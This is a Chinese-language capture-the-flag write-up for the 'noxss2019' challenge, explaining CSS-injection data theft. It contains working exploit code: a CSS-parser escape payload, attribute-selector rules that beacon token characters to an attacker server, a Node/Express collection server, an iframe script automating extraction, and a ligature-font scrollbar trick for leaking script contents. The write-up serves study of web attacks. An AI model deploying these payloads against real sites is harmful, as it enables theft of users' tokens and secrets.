noxss2019
可控點在@import url()路徑中,但是尖括號和雙引號等被轉義了。
我們需要構造xss來獲取下面 <script> 標簽中 secret 的內容。
css本身是一種容錯率很強的語言,css文件即使遇到錯誤,也會一直讀取,直到有符合結構的語句。
我們可以利用css解析的容錯性構造 %0a){}body{color:red}/* 來執行任意css。
后面就是參考這篇文章:https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/去竊取管理員的secret內容。
假設我們有一個php頁面
<?php$token1 = md5($_SERVER['HTTP_USER_AGENT']);$token2 = md5($token1);?><!doctype html><meta charset=utf-8><input type=hidden value=<?=$token1 ?>><script> var TOKEN = "<?=$token2 ?>";</script><style> <?=preg_replace('#</style#i', '#', $_GET['css']) ?></style>
頁面中有兩個token,一個在 <input> 標簽中,一個在 <script> 內。
然后我們需要利用css參數構造xss來竊取這兩個token。
竊取input標簽中的token
CSS選擇器使我們能夠準確選擇HTML元素。
/*選擇value值為abc的input標簽*/input[value="abc"] { }/*選擇value值以a開頭的input標簽 */input[value^="a"] { }
因此我們可以利用此來為屬性的第一個字符的所有可能值準備不同的樣式
input[value^="0"] { background: url(http://serwer-napastnika/0);}input[value^="1"] { background: url(http://serwer-napastnika/1);}input[value^="2"] { background: url(http://serwer-napastnika/2);}...input[value^="e"] { background: url(http://serwer-napastnika/e);}input[value^="f"] { background: url(http://serwer-napastnika/f);}
同理我們可以依次提取出所有的token值。
然后我們需要利用JAVAscript將上述過程自動化:
- HTML頁面將使用js把CSS提取到的內容請求到攻擊者的服務器上
- 攻擊者的服務器會接受帶有CSS提取的內容并進行反向通信,告訴客戶端js如何提取內容
- 客戶端js與攻擊者的服務器之間的通信將通過cookie。例如如果攻擊者的服務器收到token的前兩個字符為’49’,則設置 cookie=49 ,客戶端js將定期檢查cookie是否已設置,如果已設置,它將使用其值生成新的CSS來提取下一個標記字符。
假設服務器后端使用nodejs實現,創建package.json 并執行npm install
{ "name": "css-attack-1", "version": "1.0.0", "description": "", "main": "index.js", "dependencies": { "express": "^4.15.5", "js-cookie": "^2.1.4" }, "devDependencies": {}, "author": "", "license": "ISC"}
const express = require('express');const App = express();app.disable('etag');const PORT = 3000;app.get('/token/:token',(req,res) => { const { token } = req.params; //var {a} = {a:1, b:2}; => var obj = {a:1, b:2};var a = obj.a; console.log(token); res.cookie('token',token); res.send('')});app.get('/cookie.js',(req,res) => { res.sendFile('js.cookie.js',{ root: './node_modules/js-cookie/src/' });});app.get('/index.html',(req,res) => { res.sendFile('index.html',{ root: '.' });});app.listen(PORT, () => { console.log(`Listening on ${PORT}...`);});
然后我們需要構造一個HTML文件來竊取token的所有下一個字符。現在我們已知:
- 我們要從0-9a-f范圍內提取由32個字符組成的令牌,
- 我們有一個存在CSS注入的頁面,我們可以通過HTML的 <iframe> 標簽來引用此頁面。
攻擊流程如下:
- 如果我們目前設法提取的令牌長度小于預期的長度,則我們執行以下操作
- 刪除包含所有先前提取數據的cookie
- 創建一個iframe標簽,并引用一個易受攻擊的頁面,該頁面具有相應的css代碼,允許我們提取另一個標記字符。
- 我們一直等到攻擊者服務器的回調為我們設置含有token的cookie
- 設置cookie后,我們將其設置為當前的已知令牌值,并返回到步驟1
初步代碼如下:
<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script> (async function() { const EXPECTED_TOKEN_LENGTH = 32; const ALPHABET = Array.from("0123456789abcdef"); const iframe = document.getElementById('iframe'); let extractedToken = ''; while (extractedToken.length < EXPECTED_TOKEN_LENGTH) { clearTokenCookie(); createIframeWithCss(); extractedToken = await getTokenFromCookie(); document.getElementById('token').textContent = extractedToken; } })();</script>
然后我們需要補充上面的的一些功能函數
首先我們清除cookie中的token值,可以直接使用JS-cookie 庫中的Cookie對象。
https://github.com/js-cookie/js-cookie
function clearTokenCookie() { Cookies.remove('token');}
接下來,我們需要為 <iframe> 標簽分配正確的URL:
function createIframeWithCss() { iframe.src = 'http://localhost:12345/?css=' + encodeURIComponent(generateCSS());}
還要實現生成適當CSS的功能
function generateCSS() { let css = ''; for (let char of ALPHABET) { css += `input[value^="${extractedToken}${char}"] { background: url(http://127.0.0.1:3000/token/${extractedToken}${char}) }`; } return css;}
最后我們需要實現通過等待反向連接來設置cookie-token的功能.
我們將使用JS中的 Promise 機制來構建異步函數,我們的代碼每隔50毫秒檢查一次cookie是否已設置,
如果已設置,該函數將立即返回該值。
function getTokenFromCookie() { return new Promise(resolve => { const interval = setInterval(function() { const token = Cookies.get('token'); if (token) { clearInterval(interval); resolve(token); } }, 50); });}
最后,實現攻擊的代碼如下所示:
<!doctype html><meta charset=utf-8><script src="http://127.0.0.1:3000/cookie.js"></script><big id=token></big><br><iframe id=iframe></iframe><script> (async function() { const EXPECTED_TOKEN_LENGTH = 32; const ALPHABET = Array.from("0123456789abcdef"); const iframe = document.getElementById('iframe'); let extractedToken = ''; while (extractedToken.length < EXPECTED_TOKEN_LENGTH) { clearTokenCookie(); createIframeWithCss(); extractedToken = await getTokenFromCookie(); document.getElementById('token').textContent = extractedToken; } function getTokenFromCookie() { return new Promise(resolve => { const interval = setInterval(function() { const token = Cookies.get('token'); if (token) { clearInterval(interval); resolve(token); } }, 50); }); } function clearTokenCookie() { Cookies.remove('token'); } function generateCSS() { let css = ''; for (let char of ALPHABET) { css += `input[value^="${extractedToken}${char}"] { background: url(http://127.0.0.1:3000/token/${extractedToken}${char}) }`; } return css; } function createIframeWithCss() { iframe.src = 'http://localhost:12345/secret.php?css=' + encodeURIComponent(generateCSS()); } })();</script>
將其保存在index.js同目錄下,并且命名為index.html。
訪問127.0.0.1:3000/index.html
竊取<script>標簽中的token
CSS選擇器只能幫助我們根據屬性值的開頭來標識元素,但是我們不能對標記本身中包含的文本執行相同的操作(CSS只是沒有這種類型的選擇器)。
那么我們如何在<script>標簽內獲取token?比如下面的代碼中。
<script> var TOKEN = "06d36aed58d87fd8db3729ab84f1fe3d";</script>
我們將使用連字和樣式滾動條定義我們自己的字體來完成攻擊。
什么是連字:http://www.mzh.ren/ligature-intro.html
借助_fontforge等其他軟件 ,我們可以創建自己的字體包括自己的連字。
_Fontforge是一個相當強大的字體創建工具。
我們將使用它將字體從SVG格式轉換為WOFF。
#!/usr/bin/fontforgeOpen($1)Generate($1:r + ".woff")
fontforge script.fontforge <plik>.svg
讓我們看看SVG中的字體定義如何。
下面是一個簡單字體的示例,其中未為拉丁字母的所有小寫字母分配任何圖形符號,并且寬度均為0(屬性:horiz-adv-x = “0” ),同時還定義了_securak_連字 ,它也是圖形符號沒有,但是為他設置了很大的寬度值。
<svg> <defs> <font id="hack" horiz-adv-x="0"> <font-face font-family="hack" units-per-em="1000" /> <missing-glyph /> <glyph unicode="a" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="b" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="c" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="d" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="e" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="f" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="g" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="h" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="i" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="j" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="k" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="l" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="m" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="n" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="o" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="p" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="q" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="r" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="s" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="t" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="u" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="v" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="w" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="x" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="y" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="z" horiz-adv-x="0" d="M1 0z"/> <glyph unicode="sekurak" horiz-adv-x="8000" d="M1 0z"/> </font> </defs></svg>
<!doctype html><html><head><meta charset="UTF-8"><title>Untitled Document</title><style>@font-face { font-family: "hack"; src: url(data:application/x-font-woff;base64,d09GRk9UVE8AAASQAA0AAAAABrAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAABDRkYgAAADCAAAAMUAAAESIYipMEZGVE0AAAR0AAAAGQAAAByNNn8cR0RFRgAAA9AAAAAhAAAAJABOADlHUE9TAAAEQAAAACAAAAAgbJF0j0dTVUIAAAP0AAAASQAAAFrZZNxYT1MvMgAAAYQAAABEAAAAYFXjXMBjbWFwAAACpAAAAFgAAAFKYztWsWhlYWQAAAEwAAAAKgAAADYS6ZoHaGhlYQAAAVwAAAAgAAAAJAN85DxobXR4AAAEYAAAABEAAABw5OcAAG1heHAAAAF8AAAABgAAAAYAHFAAbmFtZQAAAcgAAADaAAABYiFRA6twb3N0AAAC/AAAAAwAAAAgAAMAAHicY2BkYGAAYpOXdZLx/DZfGbiZXwBFGG4+XTMRmYYCDgYmEAUAQpwKTAAAeJxjYGRgYFb4b8EQxfyCgeHBfwYGBqAICpABAHGNBJ0AAFAAABwAAHicY2Bm/MI4gYGVgYOpi2kPAwNDD4RmfMBgyMjEwMDEwMrMAAOMDEggIM01hcGBIZGhilnhvwVDFIYaBSBkBwBaygpNeJxdkDtOAzEQhr9NNuEp6NLijmpX9ioNqahyAIr0q8jaRES7kpNcghohcQwOQM21+B2GJh7Z883on4cM3PJBQT4FJdfGIy54MB7j2BqXsnfjCTd8GU+V/5GyKK+UuTxVZR5xx73xmGcejUtp3ownzPg0nir/zYaWNa+wadd6X4h0HNkpnRTG7rhrBUsGeg4nn6SIWrShxssvdP/b/EVzKoKsksbLP6nB0B+WQ+qia2rvFi6Pk5tXIVSND1KcbbLSjMRe35EnO3XJ01jFtN8OvQu1Py/5BWsjLgEAAHicY2BgYGaAYBkGRgYQcAHyGMF8FgYNIM0GpBkZmICsqv//wSoSQfT/BVD1QMDIxoDg0AowMjGzsLKxc3BycfPw8vELCAoJi4iKiUtIStHaZqIAALdlCJ94nGNgZsALAAB9AAR4nGNkYGFhYGRkZM1ITM5mYGRiYGTQ+CHD9EOW+YcESzcPczcPSzcQsMowxPLLMDAIyDBMEZRhYJdh5BZiYAap5mMQYhArjk+Nz44vjS+KT4zPBpkENg0InBicGVwYXBncGNwZPBg8GbwYvBl8GHwZ/Bj8GQIYAhmCGIIZQhhCGcIYwhkiGCIZohiiGdsZZBgZWdi5eAWExSRl5JVUNbT1DE3MrWwdnN08ffyDIn7V8PWIURPJPPgPJLtFukW7ebgA4FE4WAAAAHicY2BkYGDgAWIZIGYCQkYGKSCWBkImBhawGAmacZ8AiAAAAHicLYk7CoAwFATnwROD6QxWiifwUqmCEKxy/7h+imWYWQyY2DmwmttFwFXoneexepasxmf6/GXQtp/OyshAZGGWR81IN43bBm8AAAAAAQAAAAoAHAAeAAFsYXRuAAgABAAAAAD//wAAAAAAAHicY37BQDfw4D8DAwBs1QLLAAAAeJxjYGBgZACCm9mqP8H00zUTYTQAVA0IWgAAAA==);}span { background: lightblue; font-family: "hack";}body { white-space: nowrap;}body{ overflow-y: hidden; overflow-x: auto;}body::-webkit-scrollbar { background-color: blue;}body::-webkit-scrollbar:horizontal { background: url(http://127.0.0.1:999);}</style></head><body><span id=span>123sekurak123</span></body></html>
我們設置iframe的width=900px,連字體設置非常大,當出現連字sekurak時就會出現滾動條,從而請求攻擊者的服務器。
后面就是代碼實現和思路的問題了,具體可以看zsx師傅寫的https://xz.aliyun.com/t/6655#toc-5
原理
作者:smile